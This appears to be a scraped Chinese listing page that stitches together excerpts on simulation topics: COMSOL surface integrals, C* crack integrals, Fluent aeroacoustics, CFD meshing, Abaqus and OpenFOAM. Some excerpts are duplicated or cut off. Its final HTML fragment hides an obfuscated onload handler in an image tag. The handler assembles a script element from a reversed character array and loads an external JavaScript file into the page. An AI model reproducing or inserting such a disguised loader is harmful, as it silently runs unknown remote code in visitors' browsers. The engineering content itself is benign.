表面積分的案例
comsol表面積分 操作求助
請問一下大佬，為什么同樣是添加表面積分計算，圖1中有 選擇 這個選項，可以選擇計算區域；但是第二張圖片里面就沒有 選擇 這個選項？
案例44-三維表面缺陷的C積分評估
這個示例問題顯示了如何評估結構構件中裂紋的C*積分。C*積分表征了經歷二次（穩態）蠕變變形的均質材料的裂紋尖端條件。
討論了矩形塊中一個簡單的半圓形表面缺陷和沿管狀接頭的翹曲缺陷的分析。
重點介紹了以下特性和功能：
• 評估矩形塊中半圓形表面缺陷的C*積分。
• 評估管狀接頭中翹曲半橢圓表面缺陷的C*積分。
• 三維結構中裂紋前緣周圍的網格。
• 主導裂紋尖端區域的二次蠕變變形分析控制
介紹
在高溫下運行的結構部件可能會由于結構中預先存在的裂紋在一段時間內緩慢擴展而失效。對于彈性二次冪律蠕變材料模型，裂紋尖端的應力和應變奇異性可以通過時間相關的加載參數來控制。對于長期載荷，C*積分參數可以是路徑無關的，并且僅當帶有裂紋的主體經歷大范圍穩態蠕變時才適用于裂紋。
問題描述
具有半圓表面缺陷的矩形塊
該模型固定在塊的一個面上。壓力載荷施加在對面。塊體在厚度方向上的一個縱向面的中心具有半徑為20mm的半圓形表面缺陷；裂縫垂直于矩形塊的一個表面。
將圍繞裂紋前端創建一個圓環，以控制裂紋前端的網格。以下是用于使用SOLID186 3-D 20節點結構實體（磚）單元創建掃掠網格的半圓形裂縫和沿裂縫前緣的環面：
表面有翹曲缺陷的X形接頭管
分析管狀接頭處的半橢圓翹曲表面缺陷，以獲得沿裂紋前緣的C*積分：
問題包括兩個通過焊接接頭相互連接的管狀構件。管狀構件（標記為管1和管2）具有323.85mm（D1）和219.08mm（D2）的外徑，厚度分別為15.88mm（t1）和8.18mm（t2）。半橢圓表面裂紋位于與較重管道徑向平行的平面上。
將圍繞裂紋前端創建一個圓環，以控制裂紋前端的網格。
展開 6，comsol超表面-仿真帶積分號的石墨烯
在上一篇文章中，那個石墨烯電導率公式不帶積分號，有的文章中石墨烯電導率是帶積分號的。比如今天這篇文章《Tunable terahertz band-stop filter based on self-gated graphene monolayers with antidot arrays 》。
Tunable terahertz band-stop filter based on self-gated graphene monolayers with antidot arrays.pdf
文中給出石墨烯電導率公式如下
看到積分號，首先回會想到matlab。但其實不借助matlab，完全在comsol中也能處理這種積分號問題。觀察上面兩個積分式，發現積分上限為無窮，這說明被積分的在無窮遠處可能是收斂于0的。
下圖是（2）式中 被積分函數 與epsilon的關系。（uc=0eV,gamma=0.1meV）
下圖是（3）式中 被積分函數 與epsilon的關系。
看到上面兩幅圖，就不用怕那個積分號了。
下圖是我復現結果與原文對比
文章模型如下
在相對介電常數為epsilon1和epsilon2的介質基板，在epsilon1的介質板上下有石墨烯，石墨烯不是完整的，而是中間有個圓孔。太赫茲波垂直照下來，發現有一個很窄的吸收峰如上圖透射光譜dB所示。上圖是周期性結構的一個單元。
展開 Fluent中的氣動聲學模型
FLUENT采用時域積分公式，通過計算幾個表面積分，直接計算出指定接收位置的聲壓或聲信號的時間歷程。
流場變量（如聲源面的壓力、速度分量和密度等）的時間精確解是計算表面積分的必要條件。時間精確解可以從非定常RANS方程、大渦模擬(LES)或混合RANS-LES模型中獲得，以適用于手頭的流動和想要捕捉的特征（如渦脫落）。聲源面不僅可以放置在不透水的壁面上，還可以放置在內部（滲透）面上，這使得能夠考慮聲源面所包圍的四極子的貢獻。寬頻噪聲和聲調噪聲都可以根據流動計算中考慮的流動性質（噪聲源）、湍流模型的使用以及流動的時間尺度進行預測。
FLUENT中的FW-H模型的一個重要缺陷是其只適用于預測聲音在自由空間的傳播。因此雖然該模型可以合理地用于預測由外部空氣動力流動（如地面車輛和飛機周圍流懂）引起的遠場噪聲，但它不能用于預測管道或墻壁封閉空間內的噪聲傳播。
3、基于波動方程的方法
這種混合模擬方法是為了模擬低馬赫數流動的氣動聲學，聲源的計算采用不可壓縮流動模型，聲源產生的聲音傳播的計算采用微分波動方程。Fluent中實現的聲學波動方程是由Ewert和Schroeder 在恒密度流動假設下推導出的聲擾動方程。該模型的主要優點是:
與僅適用于開放空間聲傳播模型的Ffowcs Williams-Hawking積分求解器相比，擴展了適用性
簡單方便的混合氣動聲學仿真工作流程，不需要通過磁盤文件在不同軟件組件之間進行任何數據交換，也不需要在不同網格上對聲源插值。采用同計算域、同計算網格的流體流動和噪聲傳播的瞬態聯合模擬。
4、寬帶噪聲源模型
在許多涉及湍流的實際應用中，噪聲沒有任何明顯的聲調，聲能量在很寬的頻率范圍內連續分布。
展開 
硬核干貨—詳解網格對CFD結果的影響
通過將通用傳輸方程對控制體積V進行積分并應用高斯的散度定理，可獲得傳輸方程的積分形式：
1 為什么數據存儲在網格中心
在對計算域進行離散的過程中，網格是不可或缺的一部分，在有限體積法中，計算需要在一組離散的網格中心點進行，采用數值方法求解控制方程時，都是在離散的網格中心點上進行，因此網格決定著分析結果的精度和計算成本。
將數據存儲在網格節點即有限元法，對單個網格通量的計算，沒有局部守恒性，只能保證全局守恒，也就是說，只能保證域邊界上的凈通量是平衡的。而有限體積法中，計算通量，對每個網格的面進行積分，可保證局部守恒，即每個網格上的通量都是守恒的，因而全局通量也是守恒的，具有明確的物理意義。
2 網格的通量
對網格進行積分需要計算網格通量，對于表面積分，使用求積近似計算表面積分，積分用網格單元面上同一位置處的變量值表示。采用二階中點規則，即按照網格單元面中心處的值與網格單元面網格面積的乘積計算積分。對于體積積分，通過計算網格單元中心處的源項的平均值與該網格單元體積的乘積得到近似體積積分。
綜上，在建立網格時，建議扭曲度控制在85度，體積變化控制在0.01（小體積除以大體積）以上。
如下為后臺階湍流的模擬，網格增長率為1.3和1.4時，相比于1的增長率，與實驗的結果的偏差逐漸增大。
展開 ABAQUS子模型簡介
基于節點的子模型技術是使用全局模型節點位移結果場插值到子模型邊界節點的技術，它能夠得到相對更精確的位移結果，適用于任何分析類型；基于面的子模型技術是使用應力場值到子模型邊界處的表面積分點上，這種子模型技術能夠得到相對更精確的應力結果，但其只能應用于體網格模型和靜態分析中。
子模型法分析流程：
1、定義問題；
2、運行全局模型，確定驅動子模型的變量輸出；
3、檢查全局模型結果，特別要注意用于驅動子模型的區域周圍不能出現局部不合理現象；
4、定義子模型；
5、根據全局模型的載荷加載子模型的載荷；
6、應用子模型邊界條件；
7、需要時定義慣性釋放；
8、運行子模型分析；
9、查看子模型結果。
展開 Abaqus單元的命名規則
應力/位移殼單元中溫度和場變量的插值
用于計算熱應力的殼體表面積分位置的溫度值取決于使用的是一階單元還是二階單元。在線性單元的積分位置使用平均溫度，使得整個殼體表面的熱應變是恒定的。在高階殼單元中使用線性變化的溫度分布。應力/位移殼體單元中的場變量以與溫度相同的方式進行插值。
參考文獻：
[1] “Shell elements: overview,” Section 29.6.1 of the Abaqus Analysis User’s Guide
FEA 或 CFD 以獲得更好的熱解精度？
去除了幾何的復雜特征；僅考慮發生流動的表面。由于流體動力學都是關于流體體積的，因此 CFD 分析中使用的數值方法是有限體積法 (FVM)。
在 FVM 中，偏微分方程的體積積分使用散度定理轉換為表面積分。FVM 是 1D 或 2D 有限差分法的體積模擬；它通常用于流動或通量問題，例如 3D 中的平流或擴散。此外， Navier-Stokes 方程中的非線性對流項使 CFD 解決方案適用于涉及流體流動的熱問題，主要是因為對流傳熱僅在存在流體的情況下發生。
使用 CFD 工具，可以分析固體域和流體域之間的熱傳遞。這被稱為共軛傳熱 (CHT)。CHT 模型有效地用于冷卻應用。在熱交換器中，強制對流用于冷卻管內的熱流體，由壁隔開，其中傳導是管外壁和內壁之間的熱傳遞模式。強制對流有助于在 CHT 模型中實現高傳熱率。使用 CHT 方法，直接計算壁的傳熱系數，而不是根據經驗公式進行簡化。
使用 FEA 進行熱分析
FEA 使用有限元法 (FEM)，主要用于求解固體中的傳導熱傳遞。從熱學角度來看，FEA 以簡化的方式考慮對流和輻射效應，并為傳熱系數設置邊界條件。FEA的缺點是收斂性和穩定性。在非自伴隨 3D 非線性偏微分方程系統中，FEA 解可能會變得不穩定并偏離真實解。這是由于控制方程中的特定非線性項引起的。這使得 FEA 無法解決流體流動傳熱問題。
FEA 主要用于結構分析，并補充 CFD 原型測試以進行多學科系統分析。用于應力分析的熱應變加載是 FEA 用于熱分析的一個示例。
耦合 FEA 和 CFD
我們周圍的大多數能源系統都結合了不同的能量形式，因此有必要在不同層面評估系統。例如，飛機輪胎在轉彎時的熱機械行為會因摩擦而在滑道上產生熱量；該分析有助于研究橫向摩擦與散熱之間的關系，以避免熱失控。
展開 OpenFOAM 4.0后處理命令行接口（CLI）
volFlowRateSurface:通過在三角形上插入速度并在表面積分來計算通過指定三角形表面的體積流速。三角形應該很小（<=單元格大小），以獲得準確的結果。
1.3、力和力系
forceCoeffsCompressible：在求解器是可壓縮的情況下（壓力單位為M/(LT2)，例如Pa），通過對指定patch上的力求和來計算升力，阻力和力矩系數。
forceCoeffsIncompressedible: 在求解器不可壓縮（壓力為運動學，例如m^2/s^2)的情況下，通過對指定patch上的力求和來計算升力，阻力和力矩系數。
forcesCompressible: 在求解器是可壓縮的情況下（壓力單位為M/（LT2），例如Pa），計算指定patch上的壓力和粘性力。
forcesIncompressible: 在求解器是不可壓縮的情況下（壓力是運動學，例如m^2/s^2），計算指定patch上的壓力和粘性力。
1.4、圖繪制中的抽樣
singleGraph: 沿著由開始點和結束點指定的線寫入指定場的圖形數據。
1.5、監測最小值和最大值
cellMax：寫出一個或多個場的單元最大值。
cellMin：寫出一個或多個場的單元最小值。
faceMax：寫出一個或多個場的面最大值。
faceMin：寫出一個或多個場的面最小值。
minMaxComponents：寫出非標量場的分量的最小值和最大值，以及它們出現的位置。
minMaxMagnitude：以非標量場的幅度和它們出現的位置的方式寫出最小和最大值。
展開 如何計算流體仿真中的質量與能量守恒
基本散熱器的幾何形狀
在流體力學中，由質量守恒得到一個著名的局部連續性方程：
對該方程在流體域積分，應用
散度定理
，得到質量守恒的全局公式：
因此，
我們來仔細看一下上面的方程。當你對流體流動進行建模時，可以計算這個方程，來檢查你的模型的質量守恒準確性。在任何穩態分析中，這個方程簡化為
，并指出，質量進入系統的速度等于質量離開系統的速度。換句話說，入口和出口的質量流動必須平衡。
一個常見的錯誤是假設是，質量守恒可以簡化為體積流動速率
守恒。如果流體密度是恒定的，如不可壓縮流，連續性方程簡化為
,即流速的散度消失。在不可壓縮流的情況下，這個假設是正確的。然而，在大多數工程問題中，這一假設是不成立的。粗略地說，在無運動邊界的情況下，只要密度不依賴于任何可能導致密度沿流線變化的變量（如絕對壓力、溫度、濃度等），我們就可以考慮它。
也就是說，我們在 COMSOL Multiphysics 中檢查流體流動仿真的質量守恒精度。為此，我們可以使用派生值功能，這是一個有用的后處理功能，用于計算數據集中每個解的積分量。要創建一個派生積分值，首先進入結果 > 派生值 > 積分 > 表面積分 或體積積分。然后，選擇應該進行積分的邊界或體積。最后，輸入要積分的表達式。
派生值功能會生成一個帶有數值的表格；你不能對不同的數值進行數學運算。因此，例如，如果你想用一個數值減去另一個數值或計算比率，在定義 > 組件耦合 中定義積分運算符也很方便。這樣，這些運算符就可用于數學表達式，并可在變量列表中的變量定義中自由使用。這樣做以后，你就可以在派生值列表中展示它們。
展開 基于COMSOL計算扭曲光子晶體中偏振可調的BIC
在上表面添加積分算子來計算斯托克斯參數，具體計算公式參考[ Physical Review Letters, 124(15), 153904.]的補充材料。最后繪制動量空間中的極化分布，此時BIC全部為圓偏振。
圖6：橢偏率計算
圖7：圓偏振分布
具體仿真模型和指導歡迎通過公眾號“320科技工作室”與我們聯絡。
CFD理論|網格體積的求解
對于網格表面所有的點，都有其對應的法
向向量，以下圖為例（當然網格的性質可以是任意）。方程的含義就是在網格表面積分單位法向向量與其點左邊的乘積。但是在曲面求解這個積分同樣存在困難，需要進一步簡化。
高斯散度定理對所有封閉空間均是有效的，無論是規則或者不規則的形狀
每個網格的面是有限的，我們可以把整個曲面的積分，分解為每個面的曲面積分，在累加起來，就可以得到：
前面我們提到所有變量在網格中的變化都是線性的，如果下圖藍色陰影漸變一般。同樣變量在網格表面變化也是線性的。因此我們可以用面中心的值代替整個面的積分。
因此方程中的面積分可以轉換為：
下標
表示面中心的值，這個方程就是求解網格體積的公式，并且它對所有形狀的網格均是有效的。
展開 STAR-CCM+系泊問題：漂浮式海洋牧場養殖裝置系泊系統設計
結合運動學邊界條件、動力學條件、遠場邊界條件以及物體表面邊界條件，最終得到總速度勢定解條件，見式（2），
其中：n為物面法向量；i為虛數單位；g為重力加速度；k為波數，滿足k=ω2/g；vn為浮體濕表面S0的法向速度；ω為波浪頻率。
式（2）為速度勢的定解條件，入射波的速度勢已知后，即可求得輻射速度勢和繞射速度勢。將浮體所受波浪力分成3種力，即入射、繞射和輻射，而入射波浪力與繞射波浪力構成波浪激勵力。通過所得輻射勢和繞射勢，求解浮體的波浪力，進而建立浮體的頻域運動方程，見式（3）。
式（3）中：m為浮體質量；λa為額外阻尼系數；μij為附加質量；λij為輻射阻尼；K為靜水回復系數；Ka為額外剛度系數；xi為浮體的位移；F為波浪激勵力。
之后將浮體的頻域運動方程轉換為時域運動方程。當浮體進行六自由度微幅運動時，可以把運動看成一系列脈沖運動。將浮體周圍的速度勢進行疊加求解。浮體運動下，流體輻射勢可以表示為
式中：xj(t) 為浮體在j方向運動的速度或者是角速度；ψj為浮體單位脈沖運動產生的速度勢，且在j方向上；χj為浮體做單位脈沖運動后t時刻的速度勢。
通過伯努利方程求得浮體表面動壓力并進行濕表面積分，得到浮體輻射水動力和力矩：
式中：mij為附加質量矩陣；Kij為延遲函數；Xj(t)為浮體在j方向運動的加速度或者是角加速度。進而推導出時域運動方程表達式為
式中：Xi(t)為第i個自由度上的波浪激勵力；Cij為浮體靜水回復力矩陣；Mij慣性矩陣。通過對式（6）換元得到：
在求解時域運動方程前課通過面元法，獲得浮體的頻域水動力系數。
展開 ANSYS AQWA系泊分析：漂浮式海洋牧場養殖裝置系泊系統設計
結合運動學邊界條件、動力學條件、遠場邊界條件以及物體表面邊界條件，最終得到總速度勢定解條件，見式（2），
其中：n為物面法向量；i為虛數單位；g為重力加速度；k為波數，滿足k=ω2/g；vn為浮體濕表面S0的法向速度；ω為波浪頻率。
式（2）為速度勢的定解條件，入射波的速度勢已知后，即可求得輻射速度勢和繞射速度勢。將浮體所受波浪力分成3種力，即入射、繞射和輻射，而入射波浪力與繞射波浪力構成波浪激勵力。通過所得輻射勢和繞射勢，求解浮體的波浪力，進而建立浮體的頻域運動方程，見式（3）。
式（3）中：m為浮體質量；λa為額外阻尼系數；μij為附加質量；λij為輻射阻尼；K為靜水回復系數；Ka為額外剛度系數；xi為浮體的位移；F為波浪激勵力。
之后將浮體的頻域運動方程轉換為時域運動方程。當浮體進行六自由度微幅運動時，可以把運動看成一系列脈沖運動。將浮體周圍的速度勢進行疊加求解。浮體運動下，流體輻射勢可以表示為
式中：xj(t) 為浮體在j方向運動的速度或者是角速度；ψj為浮體單位脈沖運動產生的速度勢，且在j方向上；χj為浮體做單位脈沖運動后t時刻的速度勢。
通過伯努利方程求得浮體表面動壓力并進行濕表面積分，得到浮體輻射水動力和力矩：
式中：mij為附加質量矩陣；Kij為延遲函數；Xj(t)為浮體在j方向運動的加速度或者是角加速度。進而推導出時域運動方程表達式為
式中：Xi(t)為第i個自由度上的波浪激勵力；Cij為浮體靜水回復力矩陣；Mij慣性矩陣。通過對式（6）換元得到：
在求解時域運動方程前課通過面元法，獲得浮體的頻域水動力系數。
展開 基于Abaqus的DLOAD子程序實現移動載荷 ￥12
</p><p>LAYER——層數</p><p>KSPT——當前圖層中的Section point</p><p>COORDS——積分點坐標（數組）</p><p>JLTYP——DLOAD調用的載荷類型的標識</p><p> SNAME——表面加載定義的表面名稱（JLTYP = 0）。 對于體力或基于單元的表面載荷，表面名稱以空白形式傳遞</p><p> </p><p>下面以一個簡單例子為例進行說明，最終的效果如下圖所示。</p><div contenteditable="false" width="100%">
<img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/upload/202010/f1db4fda4ab14139acb2c0fc098cbd0e.gif" title="Dload_case_new.gif" alt="Dload_case_new.gif" style="max-width:760px;" data-mobile-src="https://img.jishulink.com/upload/202010/f1db4fda4ab14139acb2c0fc098cbd0e.gif?
展開 